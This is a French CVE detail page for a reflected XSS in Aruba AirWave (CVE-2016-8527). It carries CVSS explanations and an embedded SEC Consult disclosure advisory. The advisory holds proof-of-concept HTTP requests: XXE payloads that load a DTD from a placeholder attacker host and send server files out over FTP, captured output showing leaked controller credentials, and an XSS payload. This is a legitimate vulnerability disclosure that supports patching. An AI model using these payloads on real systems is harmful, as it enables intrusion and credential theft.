CVE-2016-8527 : Détail

CVE-2016-8527

6.1
/
Moyen
Cross-site Scripting
A03-Injection
0.55%V3
Network
2018-08-06
18h00 +00:00
2018-08-07
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS). The vulnerability is present in the VisualRF component of AirWave. By exploiting this vulnerability, an attacker who can trick a logged-in AirWave administrative user into clicking a link could obtain sensitive information, such as session cookies or passwords. The vulnerability requires that an administrative users click on the malicious link while currently logged into AirWave in the same browser.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.1 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 41482

Date de publication : 2017-02-28 23h00 +00:00
Auteur : SEC Consult
EDB Vérifié : Yes

SEC Consult Vulnerability Lab Security Advisory < 20170301-0 > ======================================================================= title: XML External Entity Injection (XXE), Reflected Cross Site Scripting product: Aruba AirWave vulnerable version: <=8.2.3 fixed version: 8.2.3.1 CVE number: CVE-2016-8526, CVE-2016-8527 impact: high homepage: http://www.arubanetworks.com/ found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Aruba, a Hewlett Packard Enterprise company, (formerly "Aruba Networks, Inc.") is a networking vendor selling enterprise wireless LAN and edge access networking equipment. The company has over 1,800 employees and is headquartered in Sunnyvale, California. Aruba's core products are access points (APs), mobility controllers, and network management software through their Airwave Management Platform product." Source: https://en.wikipedia.org/wiki/Aruba_Networks Business recommendation: ------------------------ SEC Consult recommends not to use the product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection (CVE-2016-8526) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information / files with malicious XML code. Note that as Aruba's passwords are encrypted with a shared static key, privilege escalation to admin role is also possible! Multiple different functions are affected by XXE. According to the vendor another researcher has also found one of the XXE issues, hence credits go to them as well. Vendor: "Although the team hasn't reproduced this yet, I’ve had other reports come in through our bug bounty program last month about XXE issues in VisualRF. One of the issues you reported is the same, and you reported three others that we haven't seen yet." 2) Reflected Cross Site Scripting (CVE-2016-8527) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2016-8526) a) XXE in VisualRF Backup Sites Login as any user role (including read-only/standard user) Navigate to VisualRF > Floor Plans > Select 'View' under 'Network' section. Select a campus (e.g. Default Campus) > Select 'Edit' > Select action 'Export Floor Plans' > Ok POST /visualrf/backup_sites HTTP/1.1 Host: <AirWaveHost> [...] xml=<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY %25 foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1">%26%65%78%66%69%6c%3b</visualrf:sites> $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///<removed>"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_102@ > 230 more data please! < TYPE I > 230 more data please! < CWD [General] [...] < ; set global WLC credentials > 230 more data please! < wlc_user: <username> > 230 more data please! < wlc_pasw: <password> [...] b) XXE in Visual RF Site Restore $ cat version.xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/version.dtd">%foo;%param1;]> &exfil;<backup backup-time="Mon Nov 21 14:44:41 CET 2016" build="${svn.build}" plan-mode="false" version="8.0.0"/> $ zip backup_sectest.zip version.xml adding: version.xml (deflated 16%) And then just upload the backup_sectest.zip via the restore functionality. POST /nf/visualrf_siterestore HTTP/1.1 Host: <AirWaveHost> [...] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="zip"; filename="backup_sectest.zip" Content-Type: application/zip [.. backup_sectest.zip ..] ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A Content-Disposition: form-data; name="import" Import ------WebKitFormBoundaryjPK7DdVbiNVDEJ2A-- c) XXE in Visual RF Verify POST /visualrf/verify/<Site-ID> HTTP/1.1 Host: <AirWaveHost> [...] <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE x [<!ENTITY % foo SYSTEM "http://<AttackerHost>:1234/sectest.dtd">%foo;%param1;]><visualrf:sites xmlns:visualrf="http://www.airwave.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1"><site [...] />&exfil;</site></visualrf:sites> 2) Reflected Cross Site Scripting (CVE-2016-8527) Note that the XSS payload can be used with either HTTP parameter 'start' or 'end'. GET /visualrf/group_list.xml?aps=1&start=%3ca%20xmlns%3aa%3d'http%3a%2f%2fwww.w3.org%2f1999%2fxhtml'%3e%3ca%3abody%20onload%3d'alert(/XSS/)'%2f%3e%3c%2fa%3e&end=500&match HTTP/1.1 Host: <AirWaveHost> [...] HTTP/1.1 200 OK [...] <?xml version='1.0' encoding='UTF-8' standalone='yes'?> <results> <error>For input string: "<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(/XSS/)'/></a>"</error> </results> Vulnerable / tested versions: ----------------------------- The following versions are affected by the identified vulnerabilities which were the most recent versions at the time of discovery: Aruba AirWave version <8.2.3.1 Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through [email protected] 2016-11-23: Vendor: Established communication over encrypted channel and asked for extending the disclosure date due to the upcoming holidays 2017-01-18: CVE-2016-8526 was assigned for the XXE issue, and CVE-2016-8527 for the reflected XSS issue. 2017-02-21: Aruba AirWave 8.2.3.1 was released. 2017-03-01: Coordinated disclosure of the security advisory. Solution: --------- Update to version 8.2.3.1 or later. http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt https://support.arubanetworks.com/Documentation/tabid/77/DMXModule/512/EntryId/23738/Default.aspx Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

Products Mentioned

Configuraton 0

Hp>>Airwave >> Version To (excluding) 8.2.3.1

Références

http://www.securityfocus.com/bid/96495
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41482/
Tags : exploit, x_refsource_EXPLOIT-DB